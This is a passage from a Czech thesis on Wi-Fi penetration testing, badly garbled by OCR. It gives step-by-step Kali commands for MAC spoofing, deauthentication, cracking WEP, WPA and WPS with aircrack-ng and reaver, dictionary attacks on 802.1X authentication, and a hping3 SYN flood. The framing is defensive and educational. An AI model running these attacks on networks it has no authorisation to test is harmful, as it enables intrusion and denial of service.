klienta. Program airplay-ng deautentizuj@ippjeného klienta, ktery bude nucen se

pripojit znovu k tomuto bezdratovému bodui Bripojovani musi klient odeslat nazev
sit, ktery se jiz ve druhém okn airodump-ng zobrazi nasled@n

CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 32 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA2 CCMP PSK vut br
BSSID STATION PWR Rate Lost Packets P robes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0-10 1
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3.3 MAC Filtr

Nyni je situace je8tjednodussi, nez wipad skryté SSID. Oft si zobrazime okolni
Wi-Fi sité piikazem:
root@Kkali:~# airodump-ng wlanl
vysledek bude vypadat nasledévn
CH 9 ][ BAT: 3 hours 9 mins ][ Elapsed: 8 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA2 CCMP PSK vutbr
BSSID STATION PWR Rate Lost Packets P robes
00:11:22:33:44:55 AO:B1: C2:D3:E4:F5 -57 0-101

Jiz z tohoto jednoduchéhdikazu jsme zjistili vSechny pi@bné informace. Ve spodni
casti tabulky je jash vidét, Ze aktualdy je pripojeny klient s MAC adresou
A0:B1:C2:D3:E4:F5. Std tedy vykat, az se tentotastnik odpoji a vykonatikaz:

root@Kkali:~# macchanger —-mac=A0:B1:C2:D3:E4:F5 wla no

timto pikazem jsme zajistili podvrhnuti MAC adresyipgmjeného klienta naSi
bezdratové kagta nyni jiz nebude problém se k ARpwjit.

3.4 WEP
Z hlediska bezpmosti je Sifrovani WEP jednim z nejrychleji proldaetnych
zabezpeeni. Bezdratoveé sitsi zobrazime ffikazem:
root@Kkali:~# airodump-ng wlanl
Pokud chceme zobrazit pouzessie Sifrovanim WEP, pouZijemégpin& --encrypt:
root@Kkali:~# airodump-ng —encrypt WEP wlanl

vysledek bude vypadat takto:

CH 14 ][ Elapsed: 3 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WEP WEP vutbr

BSSID STATION PWR Rate Lost Packets P robes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0-10 1

Nyni je poteba zapnout zachytavani pakefo provedeme nasledujiciniazem:
airodump-ng —c 6 —bssid 00:11:22:33:44:55 —w log wl an0

Prvni parametr programu airodump-ng —c¢énaslo kanalu, druhy argument —bssid
zna&i MAC adresu bezdratového bodu, parametr —wiznéazev souboru, do kterého se
bude zachytavany provoz ukladat a posledni para@ebzhranni, v naSenripac
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monitor — monO.

Nechame programétht svoji praci a otademe nové okno terminalu. Nyni mamesdv
moznosti, jak pokrgovat. Mizeme pokat, neZz airodump-ng zachyti peibny pdet
pakefi, v naSem fipac cca 15-30 tisic, coz e také na siti s malym provozem trvat
n¢kolik dni, nebo mizeme pouzit &ktery z nastraj, ktery dokaze generovat provoz na
siti. Pro piklad si uvedeme nastroj aireplay-ng. VyzkouSinag-i funguje metoda
generovani pakétpacket injectiol’:

root@kali:~# aireplay-ng -9 wlanO

Pokud se zobrazi napisjection is working! miZzeme pokré&ovat. Nyni je pdtba se
k AP pihlasit, aby AP naSe injektované pakety neignomvalo provedeme
nésledujicim gkazem:

root@kali:~# aireplay-ng -1 6000 —o0 1 —q 10 —e vutb r —a
00:11:22:33:44:55 —h aa:bb:cc:dd:ee:ff wlan0

¢islo 6000 udava interval pokusu o autentizaci na AP
-0 1 zajisti zasilani pouze jedné skupiny paleb autentifikaci a autorizaci.
-q 10 gepin& znai interval zasilani keep alive paket

Jakmile airodump-ng nasbira dostatg paiet paket, stiskem CTRL+C provedeme
ukonieni logovani. Bchazi naradu analyza pekit

root@kali:~# aircrack-ng —z —b 00:11:22:33:44:55 log.cap

Pokud je v souboru log.cap dostatg paiet pakel, program aircrack-ng vypiSe &la
akce je u konce. kfe se vSak stat, Ze programcktienalezne, v tomifpac vypise
pocet paket, kterych je patba k uspdSné analyze.

3.4.1 Shrnuti

Zabezpéeni WEP, & se jedna o kteroukoli délku &, je kwli svym nedostatanym
kontrolnim mechanizdm nevyhovujici zejména pro rychlost jejiho prolomen
V piipact dostaténeého signalu a velkého provozu na siti doved€rgruitainik st
dobyt za jednotky minut. Z hlediska be#pesti je tedy pouZiti Sifrovani WEP velkym
bezpé&nostnim problémem.

3.5 WPA

Zpusob testovani zranitelnosti WPA je od WEP &awaodlisny. V gipade WEP bylo
potteba nasbirat ptbny paéet pakel a aircrack-ng zajistil jejich analyzu. \fipac
WPA je situace jina. Utok na WPA sfita v zachycendtyrcestného hand-shaku.

Nejprve zjistime okolni sit

17 Packet injection — vyraz vyjadiici infiltrovani konstruktivnich pakat které se zdaji byt soasti
komunik&niho toku. Tento proces umaie teti strag naruSit nebo jerusit paketovou komunikaci
praw komunikujicich dastniki. Tato metoda s&adi mezi DoS (toky (Denial of Service)
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root@Kkali:~# airodump-ng wlanl

Pokud chceme zobrazit pouzetsie Sifrovanim WEP, pouZijemégpina encrypt:
root@Kkali:~# airodump-ng —encrypt WPA wlanl

Vysledek bude vypadat nasledévn

CH 9 ][ Elapsed: 7 min

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WPA CCMP TKIP vutbr
BSSID STATION PWR Rate Lost Packets P robes
00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0-10 1

Zapneme zachytavani pakgtro dané AP:

root@Kkali:~# airodump-ng —c 6 —bssid 00:11:22:33:44 :55 —w
log wlan0
Deautorizujeme klienta:

root@kali:~# aireplay-ng -0 5 —a 00:11:22:33:44:55 —C
A0:B1:C2:D3:E4:F5 wlan0

Pokud vSe dopadlo podlerguipokladu, uvidime deautorizovaného klienta v pravé
hornim rohu terminalového okna se spnét aplikaci airodump-ng. Zachytavani
pakefi ukortime.

Vzhledem k tomu, Ze Zmé zji¥ovani kite zec¢tyicestného hadshaku je velmi
vypxcetrg nar@né, metoda typu brute-force, alespopokud nedisponujeme
pacitatovym cloudem nebo farmou, néghdzi do Gvahy. PouZijeme tedy slovnikovy
atok. Vyhoda slovnikového utoku je jeji rychlostewhoda slovniku je maly obsah
slov. Na internetu se nachazi mnoho sloingto slovnikovy Utok na hesla. Tyto
slovniky ale obsahuji jen ty riejs€jSi hesla, ktera si lidé voli [7]. U&gnost takového
atoku je tim padem velice individualni.

Provedeme analyzu provozu s hand-shake pakety:
root@Kkali:~# aircrack-ng —a 2 —w slovnik.txt log.ca p

Pokud vyuzivame linuxovou distribuci KALLI, ideme vyuzit vychozi slovnik, ktery se
nachazi: /pentest/passwords/wordlists/darkcOde

Ptikaz by poté vypadal nasledavn

root@kali:~# aircrack-ng —-a 2 -w /pentest/passwords /
wordlists/darkcOde log.cap

Pokud se heslo Wi-Fi sitnachazi ve slovniku, aircrack-ng jej vypiSe. Vg
piipadt program doporti pouziti jiného slovniku.

3.5.1 Shrnuti
Simulaci jsme si a¥ili, Ze pokdeni Sifrovani typu WPA neni jiz tak lehké, jako

20



v piipace WEP. V gipact WPA velmi zalezi na pouziti sdilenéhockli V pripac

pouziti rekterych znamych kombinaci je Gtok taktéZ jednoduchiypiipads pouZziti

nahodr generovaného hesla o délce aléspd ASCI znakk se miize st povazovat za
bezpé&nou.

3.6 WPA2

V piipact testovani zabezpeni WPA2 je postup stejny, jako vipact WPA. Rozdil
v téchto metodach je pouze rychlost zpracovani.

V piipact WPAZ2 je rychlost analyzy provozu nizsi, neZiippdt WPA.

3.7 WPS

Diky technologii WPS je moZné prolomit i velmi @liheslo Sifrovani WPA2-PSK nebo

WPA2-AES.

Jako prvni si spustime virtualni monitor rozhrdtéré bude naslouchat na wlanO.
root@Kkali:~# airmon-ng start wlanO

Po tomto kroku si zobrazime seznam dostupnyclprsitiitok:
root@kali:~# airodump-ng monO

Vystup miZze vypadat nasledo¥n

CH 11 ][ Elapsed: 1 min

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -45 11 00 6 54e WPA CCMP TKIP vutbr
BSSID STATION PWR Rate Lost Packets P robes
00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -51 0-10 1

Program airodump-ng vypsal seznam dostupnychztthoto seznamu jsouikdzité
dva udaje: MAC adresa a nazev bezdratového bodsSHE Jakmile se v seznamu siti
zorientujeme a nalezneme’,sha kterou chceme provést utokizeme spustit program
reaver:

root@Kkali:~# reaver —i mon0 —b 00:11:22:33:44:55 —v \%

Prvni paramettekne programu reaver, Ze ma pouzivat rozhrani manuby parametr
zada MAC adresu bezdratového bodu, kam se ma atmkagit. Posledni parametr
fekne programu reaver, Ze ma vypisovat vSechny gkdagé provadi.

Pokud program reaveiibec nespusti nebo vypise chybovou hlasku:

[ WARNING: Failed to associate with 00:11:22:33:4 4:55
(ESSID: vutbr)

Je nutné spustit programu reaver s asociaci k &eramu bodu. Spustime druhy
terminal (za pedpokladu, Ze nevyuZijeme xwindow nové konzolovéKTY) a
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spustime aireplay-ng na bezdratovau si

root@kali:~# aireplay-ng mon0 -1120 -a
00:11:22:33:44:55 —e vutbr

Jakmile médme spudtou asociaci, spustime znovu program reaver:
root@Kkali:~# reaver —i mon0 —A —b 00:11:22:33:44:55 -V

Dulezity krok je nezapomenout vepsat parametr —Aryki&a, ze je vyuzit nastroj
aireplay.

Pokud se ihned po startu zobrazi hlaska:
['] Associated with 00:11:22:33:44:55 (ESSID: vutbr )

znamena to, Ze s n¢péi prava@podobnosti na routeru neni aktivni technologie WPS.

Pokud si nejsme jisti, zda-li je na AP technolo@i®S zapnuta, dZeme pouZzit
program wash, ktery umi detekovaitpmnost technologie WPS na bezdratovém bodu:

root@kali:~# wash — monO -C

V piipac, Ze je WPS aktivni, program wash vypiSe verzi WiB§ WPS Locked, ktery
musi nabyvat hodnoty ,,No“ pro aktivni WPS.

3.7.1 Shrnuti

Demonstraci jsme dokazali prolomitigtup do sit pomoci brute-force utoku na WPS
PIN, ktery je vzdy dlouhy &isel, znamena to kotiey paiet kombinaci, které je
potreba vyzkouSet. Pokud spravceésitecha technologii WPS aktivni, s trochou
nadsazky lzeici, Ze je jedno, jak silné heslo ma nastaveno.

Diky chyk: WPS, kdy bezdratovy bod oznamuje, ktéaat PIN kodu je spra¥n
piipadny utok i za fedpokladu, Ze zkouSka jednoho kodu bude trvat ngigch
sekund, bude usgpny utok proveden ¥adu desitek hodin. Drukidést kddu jiz obsahuje
pouze fi ¢islice a kontrolni satet, druh&ast kddu jiz nebude trvat tak dlouho.

Pti opakovaném Gtoku je petba si ugdomit, Ze zmina hesla k siti WiFi newgsi
problém s WPS, pokud spravce nénimkdd PIN, Utdnikovi sta&i vyuZzit jiz prolomeny
kod PIN a AP zaSle Gdaikovi vSechny Udaje praripojeni.

Dnesni routery a AP se snaZi na tento systéem alikeelouradu bezpénostnich
mechanism, aby byla technologie WPS bezp&sSi, jednd se zejména, o navySeni
intervalu mezi pokusy opoZdim odpo¥di o nezdéeném pokusui do¢asné vypnuti
WPS po witém paitu pokus ¢i ignorace uténikovy MAC.

VSechny tyto metody ale jiz maji svéSeni a jiz jsou implementovany v aplikaci
reaver. Metoda ignorace adresy MACénnklientovu MAC pro kazdy pokus, opaid
odpowdi program reaver wgSi déasnym pozastavenim pozadav& vypnuti WPS
zpisobi pouze pozastaveniipéhu penetréniho testu.

Vzhledem k&mto demonstracim a skdtestem ohledh délky WPS kiée spolu
s rozatlenim klice na d¢ malé skupiny, zbyva jiz malé mnozsti kombinaci QDD),
které i metodou brute-force s aplikovanymi vSemggd®nostnimi mechanismy je
mozné prolomit maximathv radu dri.
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3.8 802.11X

Jako prvni krok, zobrazime se seznam dostupnyich sit
root@Kkali:~# airodump-ng wlanl

Vystup miZze vypadat nasledo¥n

CH 1 ][ Elapsed: 24 s

BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -4511 00 6 54e WPA2 CCMP MGT vutbr
BSSID STATION PWR Rate Lost Packets P robes
00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -51 0-10 1

Z vystupu programu airodump-ng je ¥idZe sledovana sije zabezpgeni WPA2 a
vyuZziva podnikového afovani RADIUS (pole MGT).

Jako dalSi krok spustime zachytavani pakeamnonitorovaciho z&Zzeni mon0:

root@Kkali:~# airodump-ng —bssid 00:11:22:33:44:55 —-C 6 —w
soubor mon0O

Parametr --bssid udava MAC adresu bezdratového ,bpdiametr —c udavéislo
kanalu, parametr —w nazev souboru pro ukladani gmova posledni parametr je
rozhrani.

V dalSim kroku je pdeba deautorizovatiipojeného klienta. K tomutocélu budeme
potrebovat MAC adresufjpojeného klienta. Adresu MAC zjistime z vypisu gramu
airodump-ng v druhécasti okna. Pro naSe ¢ély bude slouzit adresa Klienta
AO0:B1:C1:D3:E4:F5.

root@kali:~# aireplay-ng -0 5 —a 00:11:22:33:44:55 —C
A0:B1:C2:D3:E4:F5 mon0

Parametr -0 znamena deautotriamaod,cislo za parametrem 0 znamena&gqtgookus,
parametr —a zavadi MAC adresu bezdratového bodamadr —c zavadi MAC adresu
klienta a posledni parametr Znaozhrani. Vystup programu bude vypadat nasle&ovn

22:12:57 Waiting for beacon frame (BSSID: 00:11:22 :33:44:55) on
channel 6

22:12:57 Sending 64 directed DeAuth. STMAC: [0A:B1 :C2:D3:E4:F5] |
61|63 ACKs]

22:12:58 Sending 64 directed DeAuth. STMAC: [0A:B1 :C2:D3:E4:F5] |
61|63 ACKs]

22:12:59 Sending 64 directed DeAuth. STMAC: [0A:B1 :C2:D3:E4:F5] [
61|63 ACKs]

22:13:00 Sending 64 directed DeAuth. STMAC: [0A:B1 :C2:D3:E4:F5] |
61|63 ACKs]

22:13:01 Sending 64 directed DeAuth. STMAC: [0A:B1 :C2:D3:E4:F5] [
61|63 ACKs]
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V tomto kroku mame deautorizovaného klienta.

Vzhledem ke slozitosti Sifrovani WP& WPAZ2 by gipadny brute-force Utok zabral az
piiliS mnoho ¢asu, vyuzZijeme tedy slovnikovy utok. Vyhoda slowvi&ho atoku je
rychlost zpracovani dasto pouzivana hesla. Jeigbia si ale widomit, Ze nejastjsi
slovniky se zaituji spiSe na anglicky mluvici krajiny. V naSettipac by slovnikovy
atok s nejétSi prav@podobnosti nefungoval vzhledem k jazykové obtiangsto
demonstraci ale pouzijeme anglicky slovnikéasgjSich hesel nazyvampckyou

Slovnik je dostupny vokna internetu nebofimo v distribuci Linux KALI. Slovnik
nalezneme v umi&i /sr/share/wordlist:

root@kali :/usr/share/wordlists# Is
rockyou.txt.gz
Slovnik vyextrahujeme:
root@kali:/usr/share/wordlists# gunzip rockyou.txt. 0z

root@kali:/usr/share/wordlists# Is

rockyou.txt
Pokud nyni chcemeeédét, kolik slov se ve slovniku nachazijipeme pouZzit program
wc (word count) ke spdtani:

root@Kkali:/usr/share/wordlists# wc -I rockyou.txt
14344392 rockyou.txt

Z vypisu je vidt Ze slovnik rockyou.txt obsahujeilpizné 14,3 miliébni negasgjSich
hesel.

DalSi postup je zavisly na metodasilani hesel mezi klientem a RADIUS serverem.

3.8.1 MSCHAPv2

K rozluseéni LEAP a PPTP hesel vyuzijeme program asleaplsdiécimi parametry:

root@kali:~#asleap -W /usr/share/wordlists/rockyou. txt -
r soubor.cap

Prvni parametr zrd  pouziti slovniku, ktery  se nachazi v
/usr/share/wordlist/rockyou.txt, parametr —r &naestu k souboru se zachycenou
autentizaci uzivatele.

Pro vice komplexni desifrovani je mozné pouzit progJTR® k vytvoreni permutaci a
vytvoreni delSiho slovniku.

root@Kkali:/usr/sbin/john --rules -
w=/usr/share/wordlists/rockyou.txt —stdout

Permutace vloZzime do programu asleap:

root@kali: /usr/sbin/john --rules -w=/usr/share/wor dlists/
rockyou.txt --stdout | asleap -W - -r soubor.cap

8 JTR — John The Ripper
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3.8.2 EAP-MD5

Pro utok na Sifrovani EAP-MD5 vyuZijeme program redppass s nasledujicimi
parametry:

root@kali:~# eapmd5pass -w /usr/share/wordlists/roc kyou.txt -
r soubor.cap

Parametr —w zré vyuZiti slovniku z cesty /usr/share/wordlist/rgol.txt, parametr —r
soubor se zachycenou autentizaci.

V obou gipadech (MSCHAPvV2 a EAP-MD5) je moZné vyuZit viaemiplexniteSeni
pro nalezeni autentigaich udaji vyuzivajici aplikace JTR (John The Ripper), ktera
provede permutace a vyti&irsi slovnik.

Vytvoreni permutaci pomoci programu JTR:

root@Kkali:/usr/sbin/john  --rules  -w=/usr/share/word lists/
rockyou.txt —stdout

Predani permutaci do programu asleap:

root@Kkali:/usr/sbin/john  --rules  -w=/usr/share/word lists/
rockyou.txt --stdout | asleap -W - -r soubor.cap

3.8.3 Shrnuti

Uspssnost ziskani hesla k sitim 802.11X je zavislayn&iwem Sifrovacim algoritmu i
slozitosti pihlaSovacich Gd&j V piipac vyuZiti owtovani proti Active Directory?,
kterd& umo#uje nastaveni slozitosti hesla, je mozné be&zpsti politiku nastavovat
central. Bezp€né nastaveni by vypadalo nasledévn

1) Délka hesla: minimakh8 znaki

2) Alespai jedno velké a malé pismeno

3) Alespai jednacislice

4) Pro absolutni bezprost alespb jeden specialni znak (.,!?*/+-)

19 Active directory (zkrdcen AD) je kompletni systém zajisjici politiku v prostedi rodiny
Microsoft Windows. Umo#uje nastavovat prava uzivaielskupin, DNS, DHCP, atd. Umiidje také
autentizovat uZivatele z WiFi siti 802.11X.
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4 DALSI MOZNOSTI UTOKU

4.1 Napadeni zevnif sité

V piipact komplexni ochrany git je poteba kron¢ zabezpe&eni uGtoku zvedi
zabezpeit také sf pred utoky zevnit typicky v gipadt pripojeni Ut@nika do sit
pomoci metalického kabelu.

4.1.1 Vychozi nastaveni

V piipact sitovych prviki je to prvdad vychozi nastaveni. Pokud se nezvanému
navstvnikovi poddi n¢jakym zpisobem vniknout do sit(nagiklad pipojenim na
zasuvku), v tu chvili ma Utoik k dispozici stejné prasdi, jako ma spravce &itNa
tuto situaci je nutné pomyslet a konstrukce siusi byt takto navrzena. NeapgjSim
problémem je naslouchani konfigiind stranky AP na vychozich hodnotach
s vychozimi pihlaSovacimi udaji.

Prvaady kol spravce by & byt zmenit vychozi gihlaSovaci Udaje. Spravce
nesmi odradit skuteost, Ze dany AP ma ndklad trochu jiné jméno nebo heslo
(airlive, myrouterpassword,...) neziné AP (negjastjSi heslo do administrace AP
byva ,,admin“) a tudiz jej neni geba ngnit. Opak je pravdou. ZkuSeny @tk vi, Ze
pomoci MAC (OU?9), Ize zjistit vyrobce a pomocigkolika daldich inicial nekdy i
model z&izeni. V gipad piipojeni k internetu je otazka sekund nalezeni vyatto
piihlaSovacich udaj[7].

Dalsi pongrné vyrazny bezpénostni prvek je vychozi port pro naslouchéni
webového rozhrani. Vychozi hodnota je vésmravidlem nastavena na 80, nebo 443
(HTTPS). Mimo to, Ze toto nastaveni &dkovi urychluje praci, je zde dalSi aspekt, a
to prihlaSovaci okno do AP, kter&tginou vyzradi i dany model. Diky tomu Ize na
internetu nalézt vychozifiplaSovaci heslo, neb@kterou zndmou bezpeostni trhlinu,
kterou gipadny Gténik miZze vyuzit. Znama je néjlad chyba AP od spateosti TP-
LINK, kter4d umoiovala bez fihlaSeni provést resetizzeni nebo fimo znenit heslo
bez nutnosti seiflaSovat. Tato technika byla provedena pomoci filadie HTTP
GET pozadavku.

viN s

V piipact napadeni fes metalicky kabel nejsoufiptupové body AP v dané podsiti,
tudiz ut@nik k nim nema fistup. \&tSinou konfiguréni rozhrani byva dostupné&gs
VLAN 1 nebo netagovarty 802.11q provoz [4]. Vysilana tsima ¢islo VLAN
nastaveno jine.

Predpokladat je nutné ifipojeni Ut@&nika do s pomoci kabelu, v tomtoijpack

20 QUI (Organization Unit Identifier) — je organizmqdifazujici prvni 3 byty MAC adresy
vyrobaim hardwaru.

21 802.11qg tag - je technika ozmwani paket v siti, diky ¢emu je mozné provozovat vice
virtualnich siti v jedné fyzické siti.
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lze vyuzit moznosti chytrych switéh které umo#uji autentizaci uZzivatele ipd
vlastnim pipojenim do sit na gedem nastavené stranceit8inou se tyto informace
ovétuji proti RADIUS ¢i AD serveru. Proces autentizace probiha wtae siti.
Jakmile dojde k autentizaci, switch klienta fyziokgpoji od o¥iovaci si¢ a @ipoji jej
do chragné sit.

4.1.2 Fyzickd manipulace se zéizenim

NejjednodussSi a velmtasty jev je zcizeni ¥&eni, modifikace nastaveni a vraceni
zarizeni na pvodni misto. Diky tomu, Ze vSechny dostupné AP ahsfi tlatitkem
RESTORE, je v tomto fipact pristup do skt velmi jednoduchy. V fipac tlacitka
WPS je pistup do sit jeSt jednodussi. Jako nejlepSi prevence je vypnutréghv8ePS
funkci (jak tlaitka, tak funkce PINu).

Jako bezp#ostniieSeni je dopokieno ukryt z&zeni do takovych mist, kamginy
uzivatel gistup nema (pod faleSny strop, do rozvodovéngkzabezp&ené kitem, do
odcklené mistnosti, atp.) [1].

4.2 Generovani deautoriz&nich zprav

Metoda generovani deautoripéch pozadavk funguje na principu neustalého zasilani
deautorizénich pakei na AP ve snaze docilit znefumkni napadeného AP. Neustalé
deautorizovani klieitzpisobi nedostupnost AP pro jednoho, nebo vice Kiient

Zobrazime si bezdratove &it
root@Kkali:~# airodump-ng wlanl

vysledek bude vypadat takto:

CH 14 ][ Elapsed: 1 min
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -42 17 0 0 6 54e WEP WEP vutbr

BSSID STATION PWR Rate Lost Packets P robes

00:11:22:33:44:55 A0:B1:C2:D3:E4:F5 -57 0-10 1

VyzkouSime, zda-li funguje metoda generovani pagatket injection:
root@Kkali:~# aireplay-ng -9 wlan0

V piipact zobrazenilnjection is working!miazeme pokréovat. Rihlasime se k AP a
zahltime AP mnozZstvim pakek autorizaci:

root@Kkali:~# aireplay-ng -1 6000 —o0 1 —q 10 —e vutb r —a
00:11:22:33:44:55 —h aa:bb:cc:dd:ee:ff wlan0

Obrana neni jednoduchagtsina domacich AP této technice podlehne velmi
snadno.Rada profesionalnichiistupovych bod jiz ale disponuje mechanismy proti
témto technikam.
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4.3 DoS

Technika DoS (Denial of Services) spiSe znama astblvebovych servérje velmi
zndma i vtomto oditvi. Principem je zahltit AP takovymi vypetrg nara@nymi
pozadavky, aby doSlo ke zpomaleni nebionp odstaveni AP. Ro¥a obrana zavisi
pouze na vybavdaného AP [7].

Utok je mozné provést dma zmsoby:
1) Utok na klienta sé
2) Utok na webovéd jiné sluzby) Access Pointu

V piipact utoku na klienta sitje mozné vyuzit postup pro generovani deautémizé
zprav.

Utok na sluzby Access Pointu zavisi na konkrétnjmolci a modelu. Kazdy Access
Point je nachylny na jinou sluzbu.

V piipact atoku na webové rozhrani Access Pointu je mozZnéazivynastraj
v distribuci Linux KALI. Pro tyto éely je zde k dispozici program hping3 [5]:

root@kali:~# hping3 -c 10000 -d 120 -S -w 64 -p 21 --flood --
rand-source 10.1.1.1

kde parametr —c znamenacpb paket, -d velikost kazdého paketu ktery je odeslan, -
Sodesilani SYN pakét-w 64 TCP velikost okna, -p 80 cilovy port (pribphje to port
80), --flood pro zahlceni cile pakety h#gkani na odpsd’ ¢i potvrzeni(odesilani pakiet
co mozna nejrychleji), --rand-source pro rezim mitych adres IP a poslednim
parametrem je adresa IP bezdratového bodu.

4.4 FaleSny pristupovy bod

Zména toku provozu ies zdizeni uté@nika je vyuzZivana zejména pro jednoduché
piesnérovani Wastnika na &kterou podvrzenou stranku ve snaze ziskéihigsovacich
Gdaji nebo ve snaze donucenfastnika instalace softwaru préigiup do internetu,
ktery samogejmé pro gistup slouzit nebude, ale nejspiSe k zt#ro klientského
pocitace [3].

AP: HotSpot FREE | N Klient

Utoenik
AP: HotSpot FREE

Obr. 7:  Schéma utokuies faleSny fistupovy bod
Opera&ni systémy z rodiny Windows proti tomuto typu Utakaponuji nastrojem, ktery
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si pii prvnim @ipojeni ulozi MAC adresu bezdratového bodu.ipac, Ze se zmni,
nedovoli klientovi se k této sitkipojit a ozn&i varovnou hlaskou tutotsi

4.5 Vyuziti bezpeainostni diry
Tato metoda Utoku spiva v hledani fedem znamych bezgmostnich dr. K nalazeni

znamé bezpmostni trhliny je jako prvni pt¢ba zjistit pesny typ z&zeni. To lze zjistit
z adresy MAC, ktera obsahuje mnoho uiitech informaci:

00 11 22 33 44 55

Identifikator vyrobce (OU¥) Identifikator sfové karty (NIG®)

Tab. 5:Schéma MAC adresy

S vyuzitim program na detekci zZdzeni z adresy MAC lIze ¢&kdy ne s uplnou
piesnosti) ufit o jaky konkrétni model Access Pointu se jedna.

Proti této metoé se Ize branit maskovanim MAC adresy.

DalSi moznost zjighi presného modelu AP jergs webové rozhrani (pokud kmu
méame pistup). V gipact oteweni webového (nebo jiného telnet, SSH) rozhranwiese
veétSing pripadi prihlasi Access Point afipdotazu na phlasovaci heslo vyzradi své
modelové ozngni napiklad pomoci Apache Mod Access hlasky.

Jakmile mame modelové ozmmi, sté&i pohledat na internetu éaké zname
bezpeénostni diry. Jako fiklad bezpénostni diry je mnoho modelspol&nosti TP-

LINK, které obsahuji chybu v nastaveni Mod Accessmoziujici vyresetovat heslo
pro pistup k webovému rozhrani pomoci zadani specidiisy URL.

22 Organisationally Unique Identifier (zkratka OU® jedingny identifikator ktery zabira 3 oktety
adresy MAC znéici vyrobce siové karty.

23 Network Interface Controller (zkratka NIC) je uatki identifikator dané &dvé karty. Plati, Ze ve
SWté nemizou existovat d¥ si‘ové karty se stejnou adresou MAC.
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5 ZAVER
Prace hodnoti aktualni stav zabesme Wi-Fi siti a nejastjSi bezpénostni problémy.
Prace niZze slouzit také jako navod pro lepSi zabéepé novych bezdratovych siti

postup kontroly dch stavajicich. Umaitije nahlédnout do technik @taika, vyzkouSet
tyto penetrani testy na vlastni siti a diky tomu lépe najitg@nostni problémy.

V praci byly porovnany jednotlivé metody Sifrovadat v bezdratovych sitich.
Z vysledki je patrné, Ze metoda Sifrovani WEP jiz nevyhowdipeSnim narakm na
bezpeénost kwili jeji nachylnosti k prolomeni. Sifrovani WPA a WP jiz dne3nim
narokim vyhovuji, pokud neni jako Klizvoleno nevhodné slovo. Prace selddre
zabyva zranitelnosti technologie WPS, kter&@Zen Gt@nikovi velmi zjednodusit
napadeni st Dale prace umdiije nahlédnout na dalSi moznosti zabéepé
bezdratovych siti, jako n&glad predpokladani atoku zeviit

V piipact dalSiho rozvoje se prace dalaiza zabyvat vytvienim penetrénich
skripti slouzici pro automatizaci testovani bezdratovytih s
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SEZNAM SYMBOL U, VELI CIN A ZKRATEK

Wi-Fi Wireless Fidelity — napodobenina High FidgliHi-Fi)
WLAN Wireles Local Area Network — Bezdratova missiv
AP Access Point —istupovy bod

WEP Wired Equivalent Privacy

WPA Wi-Fi Protected Access

WPA2 Wi-Fi Protected Access Il

WPS Wi-Fi Protected Setup

PIN Personal Identification Number

TKIP Temporary Key Integrity Protocol

AES Advanced Encryption Standard

HTTP Hypertext Transfer Protokol

GET Metoda pedavani pronnych pomoci HTTP (max. 512B)
POST Metodaigdavani prognnych pomoci HTTP
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